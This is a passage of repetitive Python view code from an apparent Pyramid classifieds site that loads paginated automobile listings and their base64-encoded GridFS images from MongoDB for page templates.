automobiles_collection_document6_username = document6[\"Username\"]\n automobiles_collection_document6_state = document6[\"State\"]\n automobiles_collection_document6_city = document6[\"City\"]\n automobiles_collection_document6_description = document6[\"Description\"]\n automobiles_collection_document6_mobile = document6[\"Mobile\"]\n automobiles_collection_document6_email = document6[\"Email\"]\n automobiles_collection_document6_category = document6[\"Category\"]\n automobiles_collection_document6_condition = document6[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document6_images_UTF8_list = []\n\n for raw_image in document6_images_list_rawFile:\n document6_binaryImage = raw_image.read()\n document6_base64Image = codecs.encode(document6_binaryImage, 'base64')\n document6_UTF8Image = document6_base64Image.decode('utf-8')\n document6_images_UTF8_list.append(document6_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document6_imageA = document6_images_UTF8_list[0]\n\n try:\n automobiles_collection_document6_imageB = document6_images_UTF8_list[1]\n except:\n automobiles_collection_document6_imageB = document6_images_UTF8_list[0]\n\n try:\n automobiles_collection_document6_imageC = document6_images_UTF8_list[2]\n except:\n automobiles_collection_document6_imageC = document6_images_UTF8_list[0]\n\n try:\n automobiles_collection_document6_imageD = document6_images_UTF8_list[3]\n except:\n automobiles_collection_document6_imageD = document6_images_UTF8_list[0] \n \n try:\n automobiles_collection_document6_imageE = document6_images_UTF8_list[4]\n except:\n automobiles_collection_document6_imageE = document6_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document7\n #######################\n\n # For the text strings,\n automobiles_collection_document7_productID = document7[\"Product ID\"]\n automobiles_collection_document7_username = document7[\"Username\"]\n automobiles_collection_document7_state = document7[\"State\"]\n automobiles_collection_document7_city = document7[\"City\"]\n automobiles_collection_document7_description = document7[\"Description\"]\n automobiles_collection_document7_mobile = document7[\"Mobile\"]\n automobiles_collection_document7_email = document7[\"Email\"]\n automobiles_collection_document7_category = document7[\"Category\"]\n automobiles_collection_document7_condition = document7[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document7_images_UTF8_list = []\n\n for raw_image in document7_images_list_rawFile:\n document7_binaryImage = raw_image.read()\n document7_base64Image = codecs.encode(document7_binaryImage, 'base64')\n document7_UTF8Image = document7_base64Image.decode('utf-8')\n document7_images_UTF8_list.append(document7_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document7_imageA = document7_images_UTF8_list[0]\n\n try:\n automobiles_collection_document7_imageB = document7_images_UTF8_list[1]\n except:\n automobiles_collection_document7_imageB = document7_images_UTF8_list[0]\n\n try:\n automobiles_collection_document7_imageC = document7_images_UTF8_list[2]\n except:\n automobiles_collection_document7_imageC = document7_images_UTF8_list[0]\n\n try:\n automobiles_collection_document7_imageD = document7_images_UTF8_list[3]\n except:\n automobiles_collection_document7_imageD = document7_images_UTF8_list[0] \n \n try:\n automobiles_collection_document7_imageE = document7_images_UTF8_list[4]\n except:\n automobiles_collection_document7_imageE = document7_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document8\n #######################\n\n # For the text strings,\n automobiles_collection_document8_productID = document8[\"Product ID\"]\n automobiles_collection_document8_username = document8[\"Username\"]\n automobiles_collection_document8_state = document8[\"State\"]\n automobiles_collection_document8_city = document8[\"City\"]\n automobiles_collection_document8_description = document8[\"Description\"]\n automobiles_collection_document8_mobile = document8[\"Mobile\"]\n automobiles_collection_document8_email = document8[\"Email\"]\n automobiles_collection_document8_category = document8[\"Category\"]\n automobiles_collection_document8_condition = document8[\"Condition\"]\n\n \n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document8_images_UTF8_list = []\n\n for raw_image in document8_images_list_rawFile:\n document8_binaryImage = raw_image.read()\n document8_base64Image = codecs.encode(document8_binaryImage, 'base64')\n document8_UTF8Image = document8_base64Image.decode('utf-8')\n document8_images_UTF8_list.append(document8_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document8_imageA = document8_images_UTF8_list[0]\n\n try:\n automobiles_collection_document8_imageB = document8_images_UTF8_list[1]\n except:\n automobiles_collection_document8_imageB = document8_images_UTF8_list[0]\n\n try:\n automobiles_collection_document8_imageC = document8_images_UTF8_list[2]\n except:\n automobiles_collection_document8_imageC = document8_images_UTF8_list[0]\n\n try:\n automobiles_collection_document8_imageD = document8_images_UTF8_list[3]\n except:\n automobiles_collection_document8_imageD = document8_images_UTF8_list[0] \n \n try:\n automobiles_collection_document8_imageE = document8_images_UTF8_list[4]\n except:\n automobiles_collection_document8_imageE = document8_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document9\n #######################\n\n # For the text strings,\n automobiles_collection_document9_productID = document9[\"Product ID\"]\n automobiles_collection_document9_username = document9[\"Username\"]\n automobiles_collection_document9_state = document9[\"State\"]\n automobiles_collection_document9_city = document9[\"City\"]\n automobiles_collection_document9_description = document9[\"Description\"]\n automobiles_collection_document9_mobile = document9[\"Mobile\"]\n automobiles_collection_document9_email = document9[\"Email\"]\n automobiles_collection_document9_category = document9[\"Category\"]\n automobiles_collection_document9_condition = document9[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document9_images_UTF8_list = []\n\n for raw_image in document9_images_list_rawFile:\n document9_binaryImage = raw_image.read()\n document9_base64Image = codecs.encode(document9_binaryImage, 'base64')\n document9_UTF8Image = document9_base64Image.decode('utf-8')\n document9_images_UTF8_list.append(document9_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document9_imageA = document9_images_UTF8_list[0]\n\n try:\n automobiles_collection_document9_imageB = document9_images_UTF8_list[1]\n except:\n automobiles_collection_document9_imageB = document9_images_UTF8_list[0]\n\n try:\n automobiles_collection_document9_imageC = document9_images_UTF8_list[2]\n except:\n automobiles_collection_document9_imageC = document9_images_UTF8_list[0]\n\n try:\n automobiles_collection_document9_imageD = document9_images_UTF8_list[3]\n except:\n automobiles_collection_document9_imageD = document9_images_UTF8_list[0] \n \n try:\n automobiles_collection_document9_imageE = document9_images_UTF8_list[4]\n except:\n automobiles_collection_document9_imageE = document9_images_UTF8_list[0]\n\n\n # For document10\n #######################\n\n # For the text strings,\n automobiles_collection_document10_productID = document10[\"Product ID\"]\n automobiles_collection_document10_username = document10[\"Username\"]\n automobiles_collection_document10_state = document10[\"State\"]\n automobiles_collection_document10_city = document10[\"City\"]\n automobiles_collection_document10_description = document10[\"Description\"]\n automobiles_collection_document10_mobile = document10[\"Mobile\"]\n automobiles_collection_document10_email = document10[\"Email\"]\n automobiles_collection_document10_category = document10[\"Category\"]\n automobiles_collection_document10_condition = document10[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document10_images_UTF8_list = []\n\n for raw_image in document10_images_list_rawFile:\n document10_binaryImage = raw_image.read()\n document10_base64Image = codecs.encode(document10_binaryImage, 'base64')\n document10_UTF8Image = document10_base64Image.decode('utf-8')\n document10_images_UTF8_list.append(document10_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document10_imageA = document10_images_UTF8_list[0]\n\n try:\n automobiles_collection_document10_imageB = document10_images_UTF8_list[1]\n except:\n automobiles_collection_document10_imageB = document10_images_UTF8_list[0]\n\n try:\n automobiles_collection_document10_imageC = document10_images_UTF8_list[2]\n except:\n automobiles_collection_document10_imageC = document10_images_UTF8_list[0]\n\n try:\n automobiles_collection_document10_imageD = document10_images_UTF8_list[3]\n except:\n automobiles_collection_document10_imageD = document10_images_UTF8_list[0] \n \n try:\n automobiles_collection_document10_imageE = document10_images_UTF8_list[4]\n except:\n automobiles_collection_document10_imageE = document10_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client2.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID6' : automobiles_collection_document6_productID,\n 'username6' : automobiles_collection_document6_username,\n 'state6' : automobiles_collection_document6_state,\n 'city6' : automobiles_collection_document6_city,\n 'description6' : automobiles_collection_document6_description,\n 'mobile6' : automobiles_collection_document6_mobile,\n 'email6' : automobiles_collection_document6_email,\n 'category6' : automobiles_collection_document6_category,\n 'condition6': automobiles_collection_document6_condition,\n 'image6A' : automobiles_collection_document6_imageA,\n 'image6B' : automobiles_collection_document6_imageB,\n 'image6C' : automobiles_collection_document6_imageC,\n 'image6D': automobiles_collection_document6_imageD,\n 'image6E': automobiles_collection_document6_imageE,\n\n 'productID7' : automobiles_collection_document7_productID,\n 'username7' : automobiles_collection_document7_username,\n 'state7' : automobiles_collection_document7_state,\n 'city7' : automobiles_collection_document7_city,\n 'description7' : automobiles_collection_document7_description,\n 'mobile7' : automobiles_collection_document7_mobile,\n 'email7' : automobiles_collection_document7_email,\n 'category7' : automobiles_collection_document7_category,\n 'condition7': automobiles_collection_document7_condition,\n 'image7A' : automobiles_collection_document7_imageA,\n 'image7B' : automobiles_collection_document7_imageB,\n 'image7C' : automobiles_collection_document7_imageC,\n 'image7D': automobiles_collection_document7_imageD,\n 'image7E': automobiles_collection_document7_imageE,\n\n 'productID8' : automobiles_collection_document8_productID,\n 'username8' : automobiles_collection_document8_username,\n 'state8' : automobiles_collection_document8_state,\n 'city8' : automobiles_collection_document8_city,\n 'description8' : automobiles_collection_document8_description,\n 'mobile8' : automobiles_collection_document8_mobile,\n 'email8' : automobiles_collection_document8_email,\n 'category8' : automobiles_collection_document8_category,\n 'condition8': automobiles_collection_document8_condition,\n 'image8A' : automobiles_collection_document8_imageA,\n 'image8B' : automobiles_collection_document8_imageB,\n 'image8C' : automobiles_collection_document8_imageC,\n 'image8D': automobiles_collection_document8_imageD,\n 'image8E': automobiles_collection_document8_imageE,\n\n 'productID9' : automobiles_collection_document9_productID,\n 'username9' : automobiles_collection_document9_username,\n 'state9' : automobiles_collection_document9_state,\n 'city9' : automobiles_collection_document9_city,\n 'description9' : automobiles_collection_document9_description,\n 'mobile9' : automobiles_collection_document9_mobile,\n 'email9' : automobiles_collection_document9_email,\n 'category9' : automobiles_collection_document9_category,\n 'condition9': automobiles_collection_document9_condition,\n 'image9A' : automobiles_collection_document9_imageA,\n 'image9B' : automobiles_collection_document9_imageB,\n 'image9C' : automobiles_collection_document9_imageC,\n 'image9D': automobiles_collection_document9_imageD,\n 'image9E': automobiles_collection_document9_imageE,\n\n 'productID10' : automobiles_collection_document10_productID,\n 'username10' : automobiles_collection_document10_username,\n 'state10' : automobiles_collection_document10_state,\n 'city10' : automobiles_collection_document10_city,\n 'description10' : automobiles_collection_document10_description,\n 'mobile10' : automobiles_collection_document10_mobile,\n 'email10' : automobiles_collection_document10_email,\n 'category10' : automobiles_collection_document10_category,\n 'condition10': automobiles_collection_document10_condition,\n 'image10A' : automobiles_collection_document10_imageA,\n 'image10B' : automobiles_collection_document10_imageB,\n 'image10C' : automobiles_collection_document10_imageC,\n 'image10D': automobiles_collection_document10_imageD,\n 'image10E': automobiles_collection_document10_imageE, \n }\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='automobiles_viewProducts2_page3', renderer='templates/automobiles_templates/automobiles_viewProducts2_page3.pt')\n def automobiles_viewProducts2_page3(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client3 = MongoClient('%s' % connection_string)\n db = client3.spacenetng_database\n\n # Create or open a text based records collection called automobiles_text_collection\n text_collection_automobiles = db.automobiles_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an automobiles gridfs collection called 'automobiles_images_collection'\n # (Getting the GridFS object)\n image_collection_automobiles = GridFS(db, \"automobiles_images_collection\")\n\n # Retrieve document record from database operation\n automobiles_collection = text_collection_automobiles.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(10).limit(5) #This returns 25 records\n\n # Push documents into a list\n automobiles_collection_list = []\n\n for record in automobiles_collection:\n automobiles_collection_list.append(record)\n\n\n\n document11 = automobiles_collection_list[0]\n document12 = automobiles_collection_list[1]\n document13 = automobiles_collection_list[2]\n document14 = automobiles_collection_list[3]\n document15 = automobiles_collection_list[4]\n\n # Extracting images\n # The images for document11\n document11_images_list_rawFile = []\n for image_name in document11[\"Images\"]:\n document11_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document12\n document12_images_list_rawFile = []\n for image_name in document12[\"Images\"]:\n document12_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document13\n document13_images_list_rawFile = []\n for image_name in document13[\"Images\"]:\n document13_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document14\n document14_images_list_rawFile = []\n for image_name in document14[\"Images\"]:\n document14_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document15\n document15_images_list_rawFile = []\n for image_name in document15[\"Images\"]:\n document15_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document11\n #######################\n\n # For the text strings,\n automobiles_collection_document11_productID = document11[\"Product ID\"]\n automobiles_collection_document11_username = document11[\"Username\"]\n automobiles_collection_document11_state = document11[\"State\"]\n automobiles_collection_document11_city = document11[\"City\"]\n automobiles_collection_document11_description = document11[\"Description\"]\n automobiles_collection_document11_mobile = document11[\"Mobile\"]\n automobiles_collection_document11_email = document11[\"Email\"]\n automobiles_collection_document11_category = document11[\"Category\"]\n automobiles_collection_document11_condition = document11[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document11_images_UTF8_list = []\n\n for raw_image in document11_images_list_rawFile:\n document11_binaryImage = raw_image.read()\n document11_base64Image = codecs.encode(document11_binaryImage, 'base64')\n document11_UTF8Image = document11_base64Image.decode('utf-8')\n document11_images_UTF8_list.append(document11_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document11_imageA = document11_images_UTF8_list[0]\n\n try:\n automobiles_collection_document11_imageB = document11_images_UTF8_list[1]\n except:\n automobiles_collection_document11_imageB = document11_images_UTF8_list[0]\n\n try:\n automobiles_collection_document11_imageC = document11_images_UTF8_list[2]\n except:\n automobiles_collection_document11_imageC = document11_images_UTF8_list[0]\n\n try:\n automobiles_collection_document11_imageD = document11_images_UTF8_list[3]\n except:\n automobiles_collection_document11_imageD = document11_images_UTF8_list[0] \n \n try:\n automobiles_collection_document11_imageE = document11_images_UTF8_list[4]\n except:\n automobiles_collection_document11_imageE = document11_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document12\n #######################\n\n # For the text strings,\n automobiles_collection_document12_productID = document12[\"Product ID\"]\n automobiles_collection_document12_username = document12[\"Username\"]\n automobiles_collection_document12_state = document12[\"State\"]\n automobiles_collection_document12_city = document12[\"City\"]\n automobiles_collection_document12_description = document12[\"Description\"]\n automobiles_collection_document12_mobile = document12[\"Mobile\"]\n automobiles_collection_document12_email = document12[\"Email\"]\n automobiles_collection_document12_category = document12[\"Category\"]\n automobiles_collection_document12_condition = document12[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document12_images_UTF8_list = []\n\n for raw_image in document12_images_list_rawFile:\n document12_binaryImage = raw_image.read()\n document12_base64Image = codecs.encode(document12_binaryImage, 'base64')\n document12_UTF8Image = document12_base64Image.decode('utf-8')\n document12_images_UTF8_list.append(document12_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document12_imageA = document12_images_UTF8_list[0]\n\n try:\n automobiles_collection_document12_imageB = document12_images_UTF8_list[1]\n except:\n automobiles_collection_document12_imageB = document12_images_UTF8_list[0]\n\n try:\n automobiles_collection_document12_imageC = document12_images_UTF8_list[2]\n except:\n automobiles_collection_document12_imageC = document12_images_UTF8_list[0]\n\n try:\n automobiles_collection_document12_imageD = document12_images_UTF8_list[3]\n except:\n automobiles_collection_document12_imageD = document12_images_UTF8_list[0] \n \n try:\n automobiles_collection_document12_imageE = document12_images_UTF8_list[4]\n except:\n automobiles_collection_document12_imageE = document12_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document13\n #######################\n\n # For the text strings,\n automobiles_collection_document13_productID = document13[\"Product ID\"]\n automobiles_collection_document13_username = document13[\"Username\"]\n automobiles_collection_document13_state = document13[\"State\"]\n automobiles_collection_document13_city = document13[\"City\"]\n automobiles_collection_document13_description = document13[\"Description\"]\n automobiles_collection_document13_mobile = document13[\"Mobile\"]\n automobiles_collection_document13_email = document13[\"Email\"]\n automobiles_collection_document13_category = document13[\"Category\"]\n automobiles_collection_document13_condition = document13[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document13_images_UTF8_list = []\n\n for raw_image in document13_images_list_rawFile:\n document13_binaryImage = raw_image.read()\n document13_base64Image = codecs.encode(document13_binaryImage, 'base64')\n document13_UTF8Image = document13_base64Image.decode('utf-8')\n document13_images_UTF8_list.append(document13_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document13_imageA = document13_images_UTF8_list[0]\n\n try:\n automobiles_collection_document13_imageB = document13_images_UTF8_list[1]\n except:\n automobiles_collection_document13_imageB = document13_images_UTF8_list[0]\n\n try:\n automobiles_collection_document13_imageC = document13_images_UTF8_list[2]\n except:\n automobiles_collection_document13_imageC = document13_images_UTF8_list[0]\n\n try:\n automobiles_collection_document13_imageD = document13_images_UTF8_list[3]\n except:\n automobiles_collection_document13_imageD = document13_images_UTF8_list[0] \n \n try:\n automobiles_collection_document13_imageE = document13_images_UTF8_list[4]\n except:\n automobiles_collection_document13_imageE = document13_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document14\n #######################\n\n # For the text strings,\n automobiles_collection_document14_productID = document14[\"Product ID\"]\n automobiles_collection_document14_username = document14[\"Username\"]\n automobiles_collection_document14_state = document14[\"State\"]\n automobiles_collection_document14_city = document14[\"City\"]\n automobiles_collection_document14_description = document14[\"Description\"]\n automobiles_collection_document14_mobile = document14[\"Mobile\"]\n automobiles_collection_document14_email = document14[\"Email\"]\n automobiles_collection_document14_category = document14[\"Category\"]\n automobiles_collection_document14_condition = document14[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document14_images_UTF8_list = []\n\n for raw_image in document14_images_list_rawFile:\n document14_binaryImage = raw_image.read()\n document14_base64Image = codecs.encode(document14_binaryImage, 'base64')\n document14_UTF8Image = document14_base64Image.decode('utf-8')\n document14_images_UTF8_list.append(document14_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document14_imageA = document14_images_UTF8_list[0]\n\n try:\n automobiles_collection_document14_imageB = document14_images_UTF8_list[1]\n except:\n automobiles_collection_document14_imageB = document14_images_UTF8_list[0]\n\n try:\n automobiles_collection_document14_imageC = document14_images_UTF8_list[2]\n except:\n automobiles_collection_document14_imageC = document14_images_UTF8_list[0]\n\n try:\n automobiles_collection_document14_imageD = document14_images_UTF8_list[3]\n except:\n automobiles_collection_document14_imageD = document14_images_UTF8_list[0] \n \n try:\n automobiles_collection_document14_imageE = document14_images_UTF8_list[4]\n except:\n automobiles_collection_document14_imageE = document14_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document15\n #######################\n\n # For the text strings,\n automobiles_collection_document15_productID = document15[\"Product ID\"]\n automobiles_collection_document15_username = document15[\"Username\"]\n automobiles_collection_document15_state = document15[\"State\"]\n automobiles_collection_document15_city = document15[\"City\"]\n automobiles_collection_document15_description = document15[\"Description\"]\n automobiles_collection_document15_mobile = document15[\"Mobile\"]\n automobiles_collection_document15_email = document15[\"Email\"]\n automobiles_collection_document15_category = document15[\"Category\"]\n automobiles_collection_document15_condition = document15[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document15_images_UTF8_list = []\n\n for raw_image in document15_images_list_rawFile:\n document15_binaryImage = raw_image.read()\n document15_base64Image = codecs.encode(document15_binaryImage, 'base64')\n document15_UTF8Image = document15_base64Image.decode('utf-8')\n document15_images_UTF8_list.append(document15_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document15_imageA = document15_images_UTF8_list[0]\n\n try:\n automobiles_collection_document15_imageB = document15_images_UTF8_list[1]\n except:\n automobiles_collection_document15_imageB = document15_images_UTF8_list[0]\n\n try:\n automobiles_collection_document15_imageC = document15_images_UTF8_list[2]\n except:\n automobiles_collection_document15_imageC = document15_images_UTF8_list[0]\n\n try:\n automobiles_collection_document15_imageD = document15_images_UTF8_list[3]\n except:\n automobiles_collection_document15_imageD = document15_images_UTF8_list[0] \n \n try:\n automobiles_collection_document15_imageE = document15_images_UTF8_list[4]\n except:\n automobiles_collection_document15_imageE = document15_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client3.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID11' : automobiles_collection_document11_productID,\n 'username11' : automobiles_collection_document11_username,\n 'state11' : automobiles_collection_document11_state,\n 'city11' : automobiles_collection_document11_city,\n 'description11' : automobiles_collection_document11_description,\n 'mobile11' : automobiles_collection_document11_mobile,\n 'email11' : automobiles_collection_document11_email,\n 'category11' : automobiles_collection_document11_category,\n 'condition11': automobiles_collection_document11_condition,\n 'image11A' : automobiles_collection_document11_imageA,\n 'image11B' : automobiles_collection_document11_imageB,\n 'image11C' : automobiles_collection_document11_imageC,\n 'image11D': automobiles_collection_document11_imageD,\n 'image11E': automobiles_collection_document11_imageE,\n\n 'productID12' : automobiles_collection_document12_productID,\n 'username12' : automobiles_collection_document12_username,\n 'state12' : automobiles_collection_document12_state,\n 'city12' : automobiles_collection_document12_city,\n 'description12' : automobiles_collection_document12_description,\n 'mobile12' : automobiles_collection_document12_mobile,\n 'email12' : automobiles_collection_document12_email,\n 'category12' : automobiles_collection_document12_category,\n 'condition12': automobiles_collection_document12_condition,\n 'image12A' : automobiles_collection_document12_imageA,\n 'image12B' : automobiles_collection_document12_imageB,\n 'image12C' : automobiles_collection_document12_imageC,\n 'image12D': automobiles_collection_document12_imageD,\n 'image12E': automobiles_collection_document12_imageE,\n\n 'productID13' : automobiles_collection_document13_productID,\n 'username13' : automobiles_collection_document13_username,\n 'state13' : automobiles_collection_document13_state,\n 'city13' : automobiles_collection_document13_city,\n 'description13' : automobiles_collection_document13_description,\n 'mobile13' : automobiles_collection_document13_mobile,\n 'email13' : automobiles_collection_document13_email,\n 'category13' : automobiles_collection_document13_category,\n 'condition13': automobiles_collection_document13_condition,\n 'image13A' : automobiles_collection_document13_imageA,\n 'image13B' : automobiles_collection_document13_imageB,\n 'image13C' : automobiles_collection_document13_imageC,\n 'image13D': automobiles_collection_document13_imageD,\n 'image13E': automobiles_collection_document13_imageE,\n\n 'productID14' : automobiles_collection_document14_productID,\n 'username14' : automobiles_collection_document14_username,\n 'state14' : automobiles_collection_document14_state,\n 'city14' : automobiles_collection_document14_city,\n 'description14' : automobiles_collection_document14_description,\n 'mobile14' : automobiles_collection_document14_mobile,\n 'email14' : automobiles_collection_document14_email,\n 'category14' : automobiles_collection_document14_category,\n 'condition14': automobiles_collection_document14_condition,\n 'image14A' : automobiles_collection_document14_imageA,\n 'image14B' : automobiles_collection_document14_imageB,\n 'image14C' : automobiles_collection_document14_imageC,\n 'image14D': automobiles_collection_document14_imageD,\n 'image14E': automobiles_collection_document14_imageE,\n\n 'productID15' : automobiles_collection_document15_productID,\n 'username15' : automobiles_collection_document15_username,\n 'state15' : automobiles_collection_document15_state,\n 'city15' : automobiles_collection_document15_city,\n 'description15' : automobiles_collection_document15_description,\n 'mobile15' : automobiles_collection_document15_mobile,\n 'email15' : automobiles_collection_document15_email,\n 'category15' : automobiles_collection_document15_category,\n 'condition15': automobiles_collection_document15_condition,\n 'image15A' : automobiles_collection_document15_imageA,\n 'image15B' : automobiles_collection_document15_imageB,\n 'image15C' : automobiles_collection_document15_imageC,\n 'image15D': automobiles_collection_document15_imageD,\n 'image15E': automobiles_collection_document15_imageE,\n }\n\n\n # *************************************************************************************************************\n # ************************************************************************************************************* \n @view_config(route_name='automobiles_viewProducts2_page4', renderer='templates/automobiles_templates/automobiles_viewProducts2_page4.pt')\n def automobiles_viewProducts2_page4(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client4 = MongoClient('%s' % connection_string)\n db = client4.spacenetng_database\n\n # Create or open a text based records collection called automobiles_text_collection\n text_collection_automobiles = db.automobiles_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an automobiles gridfs collection called 'automobiles_images_collection'\n # (Getting the GridFS object)\n image_collection_automobiles = GridFS(db, \"automobiles_images_collection\")\n\n # Retrieve document record from database operation\n automobiles_collection = text_collection_automobiles.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(15).limit(5) #This returns 25 records\n\n # Push documents into a list\n automobiles_collection_list = []\n\n for record in automobiles_collection:\n automobiles_collection_list.append(record)\n\n document16 = automobiles_collection_list[0]\n document17 = automobiles_collection_list[1]\n document18 = automobiles_collection_list[2]\n document19 = automobiles_collection_list[3]\n document20 = automobiles_collection_list[4]\n\n\n # Extracting images\n # The images for document16\n document16_images_list_rawFile = []\n for image_name in document16[\"Images\"]:\n document16_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document17\n document17_images_list_rawFile = []\n for image_name in document17[\"Images\"]:\n document17_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document18\n document18_images_list_rawFile = []\n for image_name in document18[\"Images\"]:\n document18_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document19\n document19_images_list_rawFile = []\n for image_name in document19[\"Images\"]:\n document19_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document20\n document20_images_list_rawFile = []\n for image_name in document20[\"Images\"]:\n document20_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document16\n #######################\n\n # For the text strings,\n automobiles_collection_document16_productID = document16[\"Product ID\"]\n automobiles_collection_document16_username = document16[\"Username\"]\n automobiles_collection_document16_state = document16[\"State\"]\n automobiles_collection_document16_city = document16[\"City\"]\n automobiles_collection_document16_description = document16[\"Description\"]\n automobiles_collection_document16_mobile = document16[\"Mobile\"]\n automobiles_collection_document16_email = document16[\"Email\"]\n automobiles_collection_document16_category = document16[\"Category\"]\n automobiles_collection_document16_condition = document16[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document16_images_UTF8_list = []\n\n for raw_image in document16_images_list_rawFile:\n document16_binaryImage = raw_image.read()\n document16_base64Image = codecs.encode(document16_binaryImage, 'base64')\n document16_UTF8Image = document16_base64Image.decode('utf-8')\n document16_images_UTF8_list.append(document16_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document16_imageA = document16_images_UTF8_list[0]\n\n try:\n automobiles_collection_document16_imageB = document16_images_UTF8_list[1]\n except:\n automobiles_collection_document16_imageB = document16_images_UTF8_list[0]\n\n try:\n automobiles_collection_document16_imageC = document16_images_UTF8_list[2]\n except:\n automobiles_collection_document16_imageC = document16_images_UTF8_list[0]\n\n try:\n automobiles_collection_document16_imageD = document16_images_UTF8_list[3]\n except:\n automobiles_collection_document16_imageD = document16_images_UTF8_list[0] \n \n try:\n automobiles_collection_document16_imageE = document16_images_UTF8_list[4]\n except:\n automobiles_collection_document16_imageE = document16_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document17\n #######################\n\n # For the text strings,\n automobiles_collection_document17_productID = document17[\"Product ID\"]\n automobiles_collection_document17_username = document17[\"Username\"]\n automobiles_collection_document17_state = document17[\"State\"]\n automobiles_collection_document17_city = document17[\"City\"]\n 